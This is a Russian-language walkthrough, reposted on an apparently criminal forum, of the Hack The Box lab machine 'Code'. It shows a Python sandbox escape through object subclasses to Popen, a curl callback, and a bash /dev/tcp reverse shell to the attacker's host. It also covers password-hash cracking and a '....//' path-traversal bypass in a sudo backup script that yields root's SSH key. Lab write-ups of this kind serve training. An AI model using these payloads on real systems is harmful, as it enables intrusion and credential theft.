• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Получаем RCE в веб-интерпретаторе Python

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,311
Розыгрыши
0
Реакции
591
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня мы с тобой взломаем веб‑интерпретатор кода на Python и выполним на сервере свой код в обход фильтров. Затем получим доступ к базе данных и извлечем учетные данные другого пользователя. При повышении привилегий используем уязвимость недостаточной фильтрации в скрипте, создающем резервные копии.
Наша конечная цель — получение прав суперпользователя на машине с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — легкий.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.62 code.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел два открытых порта:

  • 22 — служба OpenSSH 8.2p1;
  • 5000 — веб‑сервер Gunicorn 20.0.4.
На SSH без учетных данных нам делать нечего, поэтому посмотрим, какой сервис работает на порте 5000.

Главная страница сайта
Главная страница сайта
Нас встречает какой‑то веб‑интерпретатор Python.


Точка входа​

Запускаем кнопкой Run и получаем результат выполнения скрипта.

Результат выполнения скрипта
Результат выполнения скрипта

Проверяем несколько функций, которые могли бы позволить выполнить команды на хостовой ОС, и быстро понимаем, что заблокирована возможность импортировать модули командой import. Без этого к функциям из os и sys доступ никак не получить.

Проверка импорта
Проверка импорта

Как при эксплуатации SSTI, начнем с вывода всех ключей из глобального пространства имен текущего модуля. Словарь всех доступных в модуле переменных и объектов можно получить функцией globals().

print(globals().keys())
Ключи из глобального пространства имен текущего модуля
Ключи из глобального пространства имен текущего модуля
Теперь выведем список всех подклассов базового класса object в Python. В качестве базового класса возьмем tuple, получить который можно так: ().class.base.

А вот так можно получить все подклассы:

().[B]class[/B].[B]base[/B].[B]subclasses[/B]()
Все подклассы базового класса object
Все подклассы базового класса object

Для удобства получим список в формате «порядковый номер имя подкласса».

Код:
for i, c in enumerate(().class.base.subclasses()):
    print(i, c.name)
Все подклассы базового класса object
Все подклассы базового класса object

Сохраняем вывод в отдельный файл и ищем подкласс, через который можно получить выполнение кода или команд. Так под номером 317 находим Popen.

Все подклассы базового класса object
Все подклассы базового класса object

Открываем простой листенер (nc -nlvp 8000) и в качестве теста выполняем запрос на этот листенер через curl.

().[B]class[/B].[B]base[/B].[B]subclasses[/B]()[317](["/bin/bash", "-c", "curl 10.10.14.112:8000/test"])
Логи листенера
Логи листенера

Запрос пришел на открытый порт, а значит, у нас есть возможность удаленно выполнять команды, то есть RCE. Давай теперь запустим другой листенер, на основе pwncat-cs:

pwncat-cs -lp 4321
И теперь можем выполнить реверс‑шелл:

().[B]class[/B].[B]base[/B].[B]subclasses[/B]()[317](["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.112/4321 0>&1"])

Справка: реверс-шелл​

Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
Флаг пользователя
Флаг пользователя

Продвижение​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Из выданной им информации попытаемся отобрать значимую.

В системе есть три активных пользователя с консолью: root, app-production и martin.

Пользователи с консолью
Пользователи с консолью

В течение последних пяти минут был изменен файл базы данных /home/app-production/app/instance/database.db.

Недавно модифицированные файлы
Недавно модифицированные файлы
Список файлов баз данных
Список файлов баз данных

Pwncat позволяет нам легко скачивать и загружать файлы. Комбинацией клавиш Ctrl-D выходим в меню pwncat, затем скачиваем файл database.db командой download и возвращаемся обратно в сессию командой back.

Скачивание файла базы данных
Скачивание файла базы данных

Просмотреть файл базы данных можно с помощью Для просмотра ссылки Войди или Зарегистрируйся. Нас интересует таблица user, в которой хранятся учетные данные пользователей.

Содержимое таблицы user
Содержимое таблицы user

Находим хеши паролей пользователей. Чтобы узнать, при помощи какого алгоритма они созданы, и попробовать пробрутить, можем использовать сайт Для просмотра ссылки Войди или Зарегистрируйся. Так у нас получается подобрать пароли к обоим хешам.

Результат взлома хешей
Результат взлома хешей

С полученными учетными данными авторизуемся по SSH от имени пользователя martin.

Сессия пользователя martin
Сессия пользователя martin

Локальное повышение привилегий​

При смене уровня доступа в Linux проверять нужно немногое — достаточно посмотреть те вещи, которые будут отличаться для разных пользователей.

В первую очередь могут различаться настройки sudoers. Посмотрим их:

sudo -l
Настройки sudoers
Настройки sudoers

Справка: sudoers​

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Видим, что пользователь martin без ввода пароля может выполнить скрипт /usr/bin/backy.sh в привилегированном контексте. Просмотрим содержимое скрипта.

Содержимое файла backy.sh
Содержимое файла backy.sh

Этот скрипт принимает в качестве аргумента файл JSON. Затем скрипт получает список каталогов directories_to_archive, которые будут добавлены в резервную копию, и проверяет, что каталоги расположены в корневых директориях /var или /home, а также не дает обходить каталоги через последовательность ../.

В домашнем каталоге пользователя находим директорию backups. В ней содержится какой‑то архив и файл task.json.

Содержимое каталога backups
Содержимое каталога backups
Файл task.json похож на то, что ожидает скрипт /usr/bin/backy.sh.

Содержимое файла task.json
Содержимое файла task.json

Возьмем этот файл за основу и немного переделаем. Сначала уберем параметр exclude, а затем изменим каталог для резервного копирования.

Скрипт не просто фильтрует обход каталога через ../, а удаляет эту последовательность символов из строки. Таким образом, если мы будем использовать последовательность ....//, после фильтра она превратится в ../ и мы получим нужный нам обход каталога. Тогда для создания копии /root можем использовать путь /home/....//root/.

Код:
{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/home/....//root/"
  ],
}

Выполнение резервного копирования
Выполнение резервного копирования

Резервная копия создана в каталоге backups. Извлекаем содержимое архива и получаем приватный ключ SSH.

tar -xvjf code_var_.._root_2025_April.tar.bz2
Распаковка архива
Распаковка архива

С приватным ключом подключаемся от имени root и забираем последний флаг.

Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу